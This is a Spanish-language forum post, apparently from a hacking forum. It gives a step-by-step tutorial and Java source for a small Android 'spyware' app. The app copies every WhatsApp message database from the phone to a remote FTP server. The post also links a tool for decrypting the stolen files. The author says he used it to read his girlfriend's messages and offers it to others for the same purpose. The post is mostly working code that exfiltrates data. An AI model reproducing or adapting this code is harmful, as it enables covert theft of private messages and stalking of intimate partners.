Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - minuf

#1
Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.

Pues bien, al turrón:

El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía  dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.

Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip

1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.


2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.

3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código (java) [Seleccionar]

import java.io.*;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.channels.FileChannel;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import android.os.Environment;
import android.util.Log;

public class FtpCon {

public FtpCon() throws SocketException, IOException {

 try {
 FTPClient mFTPClient = new FTPClient();
 mFTPClient.connect("direccion del servidor", 21);      
 mFTPClient.login("nombreUsuario","contraseña");
 mFTPClient.enterLocalPassiveMode();
 mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
 
 mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
 Log.d("Working Directory", mFTPClient.printWorkingDirectory());

                         String estado = Environment.getExternalStorageState();
if (!estado.equals(Environment.MEDIA_MOUNTED)) {
Log.d("Error", "No hay almacenamiento externo montado");
} else {
                                       File externalDir = Environment.getExternalStorageDirectory();
File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
String [] filenames = ruta.list();
if (filenames != null) {
for (int i = 0; i< filenames.length; i++) {
try {  

InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);

mFTPClient.storeFile("msgstore.db.crypt"+i, is);
                                                      } catch (IOException e) {
Log.d("Error", "Se ha producido un error! "+e.getMessage());
}

}
}

                               mFTPClient.logout();
                                       Log.d("OK", "Enviado con exito");
 } catch (IOException e) {
 Log.d(":(", e.getMessage());  
 }
        }
  }


Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.

Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!

Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código (java) [Seleccionar]

new Thread(new Runnable() {
    public void run() {
    try {
FtpCon con = new FtpCon();
} catch (SocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}    
    }
   }).start();

Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo! >:D